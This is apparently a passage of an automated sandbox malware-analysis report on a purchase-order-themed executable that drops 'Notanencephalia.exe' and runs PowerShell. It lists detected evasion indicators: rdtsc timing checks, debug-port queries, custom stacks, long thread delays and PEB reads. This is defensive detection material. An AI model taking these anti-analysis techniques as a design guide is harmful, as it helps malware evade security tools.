Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

API/Special instruction interceptor: Address: 2FF5EAB

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Code function: 14_2_1FDAFE20 rdtsc

14_2_1FDAFE20

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6351			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3250			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

API coverage: 0.2 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7196	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8184	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe TID: 7732	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Code function: 0_2_0040689E FindFirstFileW,FindClose,	0_2_0040689E
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Code function: 0_2_00405C4D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4D
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000002.00000002.3097443257.0000000003079000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FngTask_v1.0.MSFT_NetEventVmNetworkAdatper.cdxml.
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.3099047054.000000000589E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter@\
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.3099047054.000000000589E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter@\
Source: powershell.exe, 00000002.00000002.3099047054.000000000589E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter@\
Source: svchost.exe, 0000000B.00000002.3416138031.0000022D6EA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3417396280.0000022D74058000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000002.3360324615.00000000040EC000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000002.3360242550.0000000004098000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3314745211.00000000040EC000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3314619689.00000000040EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.3097443257.0000000003079000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSFT_NetEventVmNetworkAdatper.format.ps1xmlT_
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	API call chain: ExitProcess graph end node			graph_0-3714
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	API call chain: ExitProcess graph end node			graph_0-3722

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Code function: 14_2_1FDAFE20 rdtsc

14_2_1FDAFE20

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_04C97801 LdrInitializeThunk,

2_2_04C97801

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6BFD0 mov eax, dword ptr fs:[00000030h]	14_2_1FD6BFD0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF3FD7 mov eax, dword ptr fs:[00000030h]	14_2_1FDF3FD7
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73FC2 mov eax, dword ptr fs:[00000030h]	14_2_1FD73FC2
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA1FCD mov eax, dword ptr fs:[00000030h]	14_2_1FDA1FCD
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA1FCD mov eax, dword ptr fs:[00000030h]	14_2_1FDA1FCD
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA1FCD mov eax, dword ptr fs:[00000030h]	14_2_1FDA1FCD
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2BFC0 mov ecx, dword ptr fs:[00000030h]	14_2_1FE2BFC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2BFC0 mov eax, dword ptr fs:[00000030h]	14_2_1FE2BFC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE43FC0 mov eax, dword ptr fs:[00000030h]	14_2_1FE43FC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABFEC mov eax, dword ptr fs:[00000030h]	14_2_1FDABFEC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABFEC mov eax, dword ptr fs:[00000030h]	14_2_1FDABFEC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABFEC mov eax, dword ptr fs:[00000030h]	14_2_1FDABFEC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6FF90 mov edi, dword ptr fs:[00000030h]	14_2_1FD6FF90
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov ecx, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov ecx, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov eax, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov ecx, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov ecx, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov eax, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov ecx, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov ecx, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov eax, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov ecx, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov ecx, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92 mov eax, dword ptr fs:[00000030h]	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1FB8 mov eax, dword ptr fs:[00000030h]	14_2_1FDB1FB8
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABFB0 mov eax, dword ptr fs:[00000030h]	14_2_1FDABFB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE13F90 mov eax, dword ptr fs:[00000030h]	14_2_1FE13F90
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE13F90 mov eax, dword ptr fs:[00000030h]	14_2_1FE13F90
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD71F50 mov eax, dword ptr fs:[00000030h]	14_2_1FD71F50
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA7F51 mov eax, dword ptr fs:[00000030h]	14_2_1FDA7F51
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDEFF42 mov eax, dword ptr fs:[00000030h]	14_2_1FDEFF42
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9BF60 mov eax, dword ptr fs:[00000030h]	14_2_1FD9BF60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF1F13 mov eax, dword ptr fs:[00000030h]	14_2_1FDF1F13
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2DF2F mov eax, dword ptr fs:[00000030h]	14_2_1FE2DF2F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFDF10 mov eax, dword ptr fs:[00000030h]	14_2_1FDFDF10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE17F3E mov eax, dword ptr fs:[00000030h]	14_2_1FE17F3E
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3BEE6 mov eax, dword ptr fs:[00000030h]	14_2_1FE3BEE6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3BEE6 mov eax, dword ptr fs:[00000030h]	14_2_1FE3BEE6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3BEE6 mov eax, dword ptr fs:[00000030h]	14_2_1FE3BEE6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3BEE6 mov eax, dword ptr fs:[00000030h]	14_2_1FE3BEE6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD6BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD6BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BEC0
